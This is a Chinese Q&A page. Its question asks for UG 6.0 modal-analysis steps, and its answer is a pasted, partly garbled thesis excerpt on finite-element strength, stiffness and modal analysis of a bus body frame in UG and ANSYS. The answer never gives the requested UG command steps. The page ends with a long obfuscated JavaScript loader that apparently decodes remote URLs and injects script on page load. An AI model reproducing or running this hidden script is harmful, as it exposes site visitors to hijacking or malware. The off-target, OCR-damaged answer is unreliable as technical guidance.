UG 6.0进行模态分析的具体步骤?要求举例说明,将命令按钮和操作步骤交代清楚,这是专业技术,急!重谢!

关键步骤要写清楚,包括细节。
2025-03-31 01:06:10
推荐回答(1个)
回答1:

首先讨论了如何在UG软件中完成客车车身的数值模型及如何将此数值模型进行简化转化成客车车身有限元模型,接着在ANSYS软件中对设计的客车车身骨架结构进行了静态弯曲工况、扭转工况和弯扭工况三种工况下,车身结构的强度和刚度的分析,并对该车进行了动态分析。

基于UG软件的客车车身曲面设计,客车车身曲面不同于轿车车身曲面,其曲面最复杂的地方集中于车头和车尾,侧围和顶盖的曲面相对而言较为简单。所以对于客车车身外表面最方便易性的构造方法是直接由车身的二维轮廓线出发,在计算机上绘制出车身的主要轮廓线,再由这些轮廓线出发构造车身外表面模型。由此,我们定出了9根车身外表面轮廓线,通过这些轮廓线可确定车身外表面的基本形状。如侧围曲面可由。1曲线沿c2曲线平行扫掠构成;顶盖曲面由c6,c4和c8曲线沿0曲线扫掠而成;后围曲面由0和c9曲线沿c8曲线扫掠而成;前围曲面较为复杂,除需要车身外表面主要轮廓线c5和c6曲线外,还需根据车身的造型特点,再另外构造3根曲线,才能生成前围曲面。
侧围主视向轮廓线(客车左右侧对称,可任选一根);侧围俯视向轮廓线(一般中间是直线,两端向前后围缩一偏移顶盖侧视向轮廓线;顶盖主视向轮廓线(一般顶盖为大圆弧,两端为与侧围主视向轮廓的上部相切的倒圆弧线);前围与侧围相交处轮廓线
(客车左右侧对称c6:前围与顶盖相交处轮廓线c7:后围与侧围相交处轮廓线(客车左右侧对称);c8:后围与顶盖相交处轮廓线;
c9:后围侧视向轮廓线。
为确保轮廓线的光顺性,使用UG软件的曲线分析功能,对这9根车身外表面轮廓线的曲率进行分析、编辑和调整。

3种分析方法:

1.基于UG软件的车身骨架设计
由于客车车身骨架截面在各个不同的空间位置上其形状和大小都保持不变,故用UG构造客车车身骨架时,可采用曲面扫描法,求出骨架杆件截面的空间运动轨迹(即车身骨架杆件外表面中心线),将该截面沿其空间运动轨迹扫掠即可得车身骨架的实体模型。又因为客车车身骨架是一个空间多层次的杆件结构,分为底架,前围、后围、左侧围、右侧围和顶盖六大部分,在具体设计时,先根据六大片的设计参数进行布局设计,一般是先进行底架布局设计,确定底盘各总成的具体布置位置后,再根据底架设计中的一些关键参数进行前、后围、左右侧围及顶盖的设计;然后利用在UG上已建立好的车身表面数字模型和骨架六大片布局设计参数求取车身骨

架与车身表面数值模型的截交线即车身骨架杆件外表面中心线,构造出车身六大片的线框模型。根据客车车身结构需要,选取合适的骨架构件截面,如矩形、槽形、L形(角钢)和工字型等,由此截面沿车身六大片的线框模型扫掠构造出车身六大片骨架实体模型。最后利用UG的装配模块,进行整车装配,生成车身骨架图。
2模型的简化
因为建立车身有限元模型时,既要如实的反映客车车身实际结构的重要力学特性,又要尽量采用较少的单元和简单的单元形态,以保证较高的计算精度及缩小解题规模。在有限元模型中,我们一般人为的用一根通过截面形心的直线来代替具有一定横截面尺寸的实际构件。所以在利用ANSYS软件的数据接口程序导入在UG中完成的客车骨架结构图时,只需导入车身骨架线框图并对其进行以下简化:1、略去蒙皮和某些非承载构件;2、将车身中的各微曲梁进行直化处理,侧围和顶盖中一些曲率较小的构件近视的看作由直梁单元分段组成;3、对于两个靠得很近而又不重合的交叉连接点则可考虑简化为一个节点来处理。4、对于邻接构件在空间交接的轴线不重合,出现了两个离得很近的节点,在力学特性上它们的变形很接近,把它们简化成一对主从节点,这样就避免了可能出现的总刚度阵的病态,同时也可提高结构分析的效率。5、对于空间叠交的两焊接梁,若其中心线的距离a较大,平移其中一梁中心线将引起不可忽略的误差,则可于模型中加一个长度为a的梁(该梁截面、材料特性参数为两梁中较大者)来连接两梁。例如,底横梁与车架纵梁之间就存在着很大的“偏心”,横梁置于车架纵梁之上,两轴线相差距离为0.5(h+H)。为了使模型根接近实际,将底横梁于车架纵两连接处分量各节点考虑,并设其间有一刚臂连接;6、对于两同向焊接梁,因其焊接处强度近似于材料内部强度,故可将其视为一根梁来简化;
7、对线梁单元采取刚度补偿的方法来降低误差。以线单元表示梁,要满足梁相交的空间拓扑关系,须将其中的某些梁单元线延长至相交,这样处理将大大降低梁单元的刚度,使得位移解偏大而应力解偏小,同时增加了额外的重量。采用刚度补偿的方法来降低误差,经补偿前后结果比较后,己验证了该方法简单有效。以梁单元xoy平面内弯曲((1轴为x轴,2轴为z轴)为例,说明该补偿方法。采用二节点Hermite单元的有限元求解方程Ka=p的单元刚度矩阵K“和位移矢量1其中,l为梁单元沿1轴的长度,。,为单元节点1处的挠度,乓为单元节点l处的转角,由于模型中的梁单元比实际的延长了△l,故可通过改变E或者Iz来抵消该变化,使K“基本不变。8、确定单元长度l。用有限元法分析梁弯曲问题时,于二节点Hermite单元中,试探函数(形函数)采用3阶完全多项式,位移解的误差是o(l小若梁单元长度过长,则会引起较大的位移误差。在分析车身梁单元模型时,经FEA验证当梁单元长度15400mm时,其解已收敛到足够的精度。梁单元长度l也不应划分得过小,若梁单元长度Z过小(接近于截面尺寸),主从自由度的原理将不再适用,模型单元简化为梁单元也就不合理。各相邻梁单元长度1相差也不应过大,理论和实践已证明,l相差过大将引起较大的刚度壁,这易导致刚阵病态而得不到方程组的解。根据以上模型的简化原则,样车车身骨架被划分为3044个长度不等,截面形状各异的单元和5929个节点。
3载荷处理
在车身计算模型中,载荷可按如下方式处理:1、对于车身骨架的自重,在ANSYS软件前处理程序中输入骨架材料的密度和重力加速度,程序便根据所输入的单元截面形状、实常数自动将单元载荷因子的信息计入总载荷,进行计算
2、安放在车身或车架上的汽车总成、设备重力,如发动机总成、备胎、蓄电瓶、油箱等,可作为集中载荷,按安放点的实际位置及各位置所分担的重力,作用于相应的节点上。
3、载重力,如乘员及座椅的重力,可作为集中载荷,按支点跨距分配于相应梁的结点上。车上有站立乘员者,可按每平方实际站立人数,作为均布载荷作用于地板上并传到底架梁单元上。由于在有限元法中认为内力或外力均由结点来传递,在整体刚度方程中的载荷项均为结点载荷。因此,当梁单元受有均布载荷或其他非节点载荷时,必须将其向结点移置,即将非结点载荷换算成作用在结点上的效果相当的集中载荷(称等效结点载荷)。非结点载荷移置方法如下
有非结点载荷作用的单元的两端位移完全约束住,再根据材料力学中求支反力的方法,求得梁单元两端的反力,称固端力,记作仇}02、将固端力反号,并进行坐标变换,即得整体坐标系中的等效结点载荷,可将它直接送入结构整体刚度方程的载荷向量中去进行计算。在ANSYS软件中,如果先在车身有限元模型上加载再进行网格划分能直接将非结点载荷转换成等效结点载荷。

4边界约束条件
钢板弹簧除了作弹性元件外,还起导向作用,因此其在各个方向上均有刚度,且其在其他方向上的刚度要比垂直方向上的刚度大得多,故用刚性梁一柔性梁结构模拟钢板弹簧。在约束处理中忽略轮胎的变形。悬架弹簧刚度K用水平柔梁的垂直弯曲刚度来等效;对于刚性梁,为使其受力时垂直位移远小于水平柔梁的垂直位移,取其轴向刚度为6.0x106N/mm。刚性梁截面取为正方形,面积由式A=KxLIE计算。
5.强度分析工况

客车的使用工况很复杂,有弯曲工况、扭转工况、转弯工况和加速工况等。理论分析、室内试验和使用实践都表明,直接关系到车身结构强度的主要是弯曲和扭转两种工况。

I、弯曲工况

客车在平坦路面上以较高车速行驶时,路面的反作用力使车身承受对称的垂直载荷。它使车身产生弯曲变形,其大小取决于作用在车身各处的静载荷及垂直加速度。在ANSYS中通过约束四车轮六个方向的自由度来模拟计算客车在平坦路面上,以较高车速满载行驶产生对称垂直动载荷时,车身的刚度和强度。2、扭转工况

扭转工况是车身变形最严重的工况,一般都是当汽车以低速通过崎岖不平路面时发生的。此种扭转工况下的动载,在时间上变化得很缓慢,当然此时惯性载荷也很小,所以,车身的扭转特性可以近似的看作是静态的,许多试验结果也都证实了这一点,即静扭试验下的骨架强度可以反映出实际强度。也就是说,静扭时骨架上的大应力点,就可用来判定动载时的大应力点。文中将讨论两种扭转工况,右前轮悬空工况和左后轮悬空工况。通过约束左后轮X,Y,Z方向的平动自由度和Z方向的转动自由度,左前轮和右后轮Z方向的平动自由度,来模拟车身右前轮悬空,左后轮陷入坑中的扭转工况。通过约束右前轮X,Y,Z方向的平动自由度和Z方向的转动自由度,左前轮和右后轮Z方向的平动自由度,来模拟车身左前轮悬空、右后轮陷入坑中的扭转工况。

4.2.2刚度分析工况

车身结构的刚度是指车身结构反映出的载荷与变形之间关系的特性。刚度不足,会引起车身的门框、窗框等开口处的变形大,以至车门卡死、玻璃砸碎、密封不严导致漏雨、渗水及内饰脱落等问题,还会造成车身振动频率低、发生结构共振,破坏车身表面的保护层和车身的密封性,从而削弱抗腐蚀能力。车身刚度包括扭转刚度和弯曲刚度两部分,理论分析和许多试验结果都表明,客车车身的弯曲变性很小,故只需考虑其弯扭工况下的扭转刚度。我们用整车总长之间车身对角线相对扭角、左右上大梁的相对扭角状况、底架两纵梁的相对扭角状况来表达车身的扭转变形。

4.2.3动态特性研究

用模态综合法来研究整车振动特性和动载荷时,车身结构的模态频率是最重要的参数之一。用它能够预测车身与其它部件如悬挂系统、路面、发动机及传动系等系统之间的动态干扰的可能性,通过合理的设计可以避开共振频率,一般希望车身结构整体一阶模态频率越高越好。



4.3.1强度计算结果及分析

1、弯曲工况

弯曲工况下,车身的弯曲应力如图4.3所示。弯曲应力集中的区域有:底架主纵梁与前后钢板弹簧支撑梁位置处(50-90Mpa);车顶中部与侧窗上沿的过渡连接区(30-40Mpa);中门立柱上半部的附近区域(10-30MPa);前门立柱上半部的附近区域(10-40MPa)。其中应力最大的地方是底架主纵梁与后钢板弹簧支承梁位置处,应力值为90MPao



2、右前轮悬空工况

右前轮悬空工况下,车身X方向的应力分布如图4.4所示。应力集中的区域有:底架主纵梁与前后钢板弹簧支撑梁位置处(60-123Mpa);车顶中部与侧窗上沿的过渡连接区(40-60Mpa):中门立柱上半部的附近区域(60-70MPa)。其中应力最大的地方是底架主纵梁与后钢板弹簧支承梁位置处,应力值为123Mpao

3、左后轮悬空工况

左后轮悬空工况下,车身X方向的应力分布如图4.5所示。应力集中的区域有:底架主纵梁与前后钢板弹簧支撑梁位置处(80一125Mpa);车顶中部与侧窗上沿的过渡连接区(60一90Mpa);中门立柱上半部的附近区域(90-177MPa)。其中应力最大的地方是中门上门梁位置处,应力值为177MPa



通过上述三种工况的计算,我们知道弯曲工况下车身骨架的应力水平较小,应力值大于50Mpa的单元数目为30个,仅占单元总数的0.9%;右前轮悬空工况下,车身骨架的应力水平要比弯曲工况下的应力水平高很多。由于发动机后置,左后轮悬空工况(弯扭联合工况)是客车行驶过程中最恶劣的工况。考虑到客车行驶过程中的动载荷、疲劳及材料缺陷引起的应力集中等问题,取安全系数为1.5,则骨架材料Q215A3钢的许用屈服应力[cr]-153MPa,底架材料09SiV低合金结构钢的许用屈服应力

叶卜220MPa。可以看出,在弯扭工况下,中门上门梁位置处的应力超过了许用应力,需要对门梁的截面尺寸进行优化。另外,从整个结构来看,应力分布是不均匀的,且大小相差几个数量级。这无疑将造成材料的浪费,增大整个车身的重量。因此,从应力角度分析,可以通过优化方钢厚度来合理经济的使用材料。多梁相交处的应力值特别大,去掉一些可取掉的单元后,交点处的应力值将大大降低。

4.3.2刚度计算结果及分析

1、右前轮悬空工况

车身右前角区域从车顶至车架各部分均有较大的位移,而且越靠近角

部位移越大,垂直方向向下的最大位移为11.868mm。车身变形如图4.6



4.3.3模态计算结果及分析

模态分析主要是计算车身固有频率和振型。整体车身空间框架模型的6阶固有频率如表4.9所示,前六阶振型车身的变形如图4.10-4.15所



图4.15车身骨架第六阶振型图

车身骨架的动态优化设计要求车骨架的模态频率错开载荷激振频率。同时为防止第一阶弯曲模态和第一阶扭转模态的祸合效应,要求这两种固有频率错开3Hz以上。虽然由于客车模型略去了蒙皮的影响,略去了非承载构件,所计算的车身固有频率比实际的要低,但是该车前六阶固有频率集中在5-13Hz,而路面激励频率又往往低于20Hz,且第一阶弯曲模态和第一阶扭转模态的固有频率仅错开了2Hz左右,因而在客车行驶过程中产生局部振动的构件受此激励将在客车内部形成噪声源,影响到乘客的乘座舒适性。

4.4结论

从原模型计算结果可以看出,该车车身骨架的高应力区共有3个部位:中门立柱附近区域;车顶中部与侧窗上沿的过渡连接区和底架主纵梁与前后钢板弹簧支撑梁位置处。2、由计算结果可知,该车在弯曲工况下,骨架的变形和应力均较小,表明该车在静载下满足强度和刚度要求;在左后轮悬空工况下,除了车身中门门上梁中间部位应力超过了许用应力,车身骨架的其他单元应力都未超过许用应力。而左后轮悬空工况是车身变形最严重的工况,实际上由于该车是城市公交车,不可能出现如此严重的扭转工况,因此该车车身结构是能够满足强度使用要求。

3、由计算结果可知,总体上车身骨架的变形量相对较小,对于车身刚度而言,从整体结构考虑,门窗对角线变形大小尤为重要。从整理的弯扭工况下车身骨架各节点变形数据中可看出,弯扭工况下各门窗对角线位移均较小,因此该车车身结构是能够满足刚度使用要求的。

4、由车身模态分析可知,车身骨架前六阶的固有频率都低于20Hz,而路面激励频率又往往低于20Hz,这会造成车身骨架发生共振,造成车内噪声过大,因此进行车身结构的动态优化设计,提高车身的固有频率很有必要。



5车身结构的优化设计

5.1优化设计的基本概念一般的工程问题都有许多可行的设计方案,如何根据设计任务和要求从众多的可行性方案中,寻求一个最好的方案,是设计工作者的首要任务。实践证明,结构的优化设计是保证产品具有优良的性能,减轻结构自重或体积,降低工程造价的一种有效方法。优化方法的出现可追溯到Newton,Lagrange和Cauchy时代,由Newton,Leibnitz和Weirstrass等奠定了变分学的基础;Lagrange创立了包含特定乘子的约束问题优化方法,并将其命名为Lagrange乘子法;Cauchy最早应用最速下降法来求解无约束极小化问题。尽管如此在20世纪中以前,优化法的进展甚小。直到后来,高速计算机的出现,才使优化程序成为可能,促使了各种新方法的进一步发展。五十年代以前,用于解决最优化问题的数学方法,仅限于古典微分法和变分法。无约束优化数值方法领域中的主要进展只是在60年代才在英国形成,数学规划方法被首次用于结构最优化,并成为优化设计中求优方法的理论基础,线性规划和非线性规划是其主要内容。1947年,Dantzig提出求解线性规划问题的单纯形法;1957年,Bellman对动态规划问题提出了最优化理论。60年代初,Zoutendijk和Rosen对非线性规划右很大贡献。Canon,Fiacco和Mclomick的研究使很多非线性规划问题能用无约束优化方法予以解决。几何规划是60年代由Duffin,Zener和Peterson发展起来的。概括来讲,优化设计工作包括以下两部分内容:1、将设计问题的物理模型转变为数学模型,建立数学模型时要选取设计变量,列出目标函数,给出约束条件。2、采用适当的优化方法,求解数学模型,可归结为在给定的条件下求目

标函数的极值和最优化值的问题。机械最优化设计,就是在给定的载荷或环境条件下,在对机械产品的性能、几何尺寸关系或其他因素的限制范围内,选取设计变量,建立目标函数并使其获得最优化值的一种设计方法。实际的工程优化设计按其原理不同区分为数学规划法和准则法两个分支,按其优化层次不同可分为总体方案优化和设计参数优化。

5.2ANS丫S软件中的设计优化

ANSYS程序提供了分析一评估一修正的循环过程对设计方案进行优化,对初始设计进行分析,根据设计要求对分析结果进行评估,然后对设计进行修正。重复执行这一循环过程直到所有设计都满足要求,得到最优设计方案。

5.2.1优化方法

ANSYS提供了零阶方法和一阶方法两种优化方法。绝大多数的优化问题都可以使用这两种方法。零阶方法(直接法)是一个很完善的处理方法,其中有两个重要的概

念:目标函数和状态变量的逼近方法,由约束的优化问题转换为无约束的优化问题。该方法使用所有因变量(状态变量和目标函数)的逼近,而不用他们的导数,用因变量的近似值工作,而不用实际函数;目标函数近似为最小值,而不是用实际的目标函数;状态变量近似为使用设计约束,而不用实际状态变量,可以很有效的处理大多数的工程问题。所有变量至少要适应所有的全部现有设计集,以形成近似式:

一阶方法(间接法)基于目标函数对设计变量的敏感程度,使用因变量的一阶导数来决定搜索方向并获得优化结果,因为没有近似,所以精度很高,尤其是在因变量变化大,设计空间也相对较大时,更加适合于精确的优化分析。每次迭代涉及多次分析(对分析文件的多次循环),以确定适当的搜索方向,因此分析时间较长。当零阶方法不够精确,而精度又非常重要时,要用一阶方法进行优化。

5.2.2优化工具

ANSYS程序还提供了一系列的优化工具以提高优化过程的效率。优化工具是搜索和处理设计空间的技术。下面是常用的优化工具:单步运行:实现一次循环并求出一个FEA解。可以通过一系列的单次循环,每次求解前设定不同的设计变量来研究目标函数与设计变量的变化关系。随机搜索法:进行多次循环,每次循环设计变量随机变化。可以指定最大循环次数和期望和理解的数目。主要用来研究整个设计空间,并为以后的优化分析提供合理解。往往作为零阶方法的先期处理。等步长搜索法:以一个参考设计序列为起点,生成几个设计序列。按照单一步长在每次计算后将设计变量在变化范围内加以改变,用于设计空间内完成扫描分析。对于目标函数和状态变量的整体变化评估可以用本工具实现。

乘子计算法:是一个统计工具,用二阶技术生成设计空间上极值点上的设计序列数值。主要用来计算目标函数和状态变量的关系和相互影响。最优梯度法:对用户指定的参考设计序列,计算目标函数和状态变量对设计变量的梯度,可以确定局部的设计敏感性。

5.2.3优化变量

设计变量、状态变量和目标函数总称为优化变量。设计变量为自变量,优化结果的取得就是通过改变设计变量的数值来实现的。状态变量是约束设计的数值,是“因变量”,是设计变量的函数,状态变量可能会有上下限,也可能只有单方面的限制,即只有上限或下限。目标函数是设计最小化或最大化的数值,是设计变量的函数。目标函数值由最佳合理设计到当前设计的变化应小于目标函数允差。一个合理的设计是指满足所有给定的约束条件(设计变量的约束和状态变量的约束)的设计。如果其中任一约束条件不满足,设计就被认为是不合理的。而最优设计是既满足所有的约束条件又能得到最小目标函数值得设计。(如果所有的设计序列都是不合理的,那么最优设计是最接近合理的设计,而不考虑目标函数的数值)

5.3车身骨架的优化设计

5.3.1参数化优化模型

进行车身骨架的优化设计首先必须要建立车身骨架的参数化模型,我们采用了车身骨架的早期静态有限元模型,作为其参数化模型的原型。由于该模型的建立没有参数化,所以必须重新划分单元,简化模型,使骨架单元数控制在4000个以下,模型的简化过程中保持计算偏差在8%以内,然后提取简化模型的节点、单元、形参、单元类型等模型信息,通过这些信息生成优化分析文件。车身骨架是一个高次超静定的复杂空间杆系结构,各杆件截面形状并不相同,承受的载荷也非常复杂,如果将所有杆件截面参数都选取为设计变量,这是很不现实的。根据前面车身的静力分析得出的计算结果,我们知道扭转工况是车身承受的应力和扭转最严重的工况,该车的刚度基本上达到要求,而强度不足,所以选择扭转工况下,车身骨架应力最高区,中「〕立柱附近区域、顶盖中部区域和车身骨架应力相对较小的地方,后围、

侧围搁梁区域的杆件的截面尺寸参数作为设计变量。选择车身骨架的应力作为状态变量,以车身应力最大的五个点作为应力控制点,保证车身骨架的最大应力值小于材料的许用应力。选取车身重量作为目标函数,通过改变设计变量,在满足车身应力强度的条件下,对车身进行轻量化。由于车身形状比较复杂,精确计算车身

重量比较困难,因此可以通过有限元分析计算单元的重量,然后逐个单元叠加来得到整体车身的重量。

5.3.2计算结果

采用ANSYS软件提供的零阶方法进行了30次迭代优化计算,车身总质量由以前的2169kg减少到2131kg;根据市场型材的规格及厂方实际生产条件,对主要杆件优化后的截面尺寸进行了尺寸处理,具体参数见表

对弯扭工况下的车身,取优化后各杆件的截面尺寸,重新计算车身的弯曲应力,车身骨架在弯扭工况下的车身SX方向的应力分布如图5.3所

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF 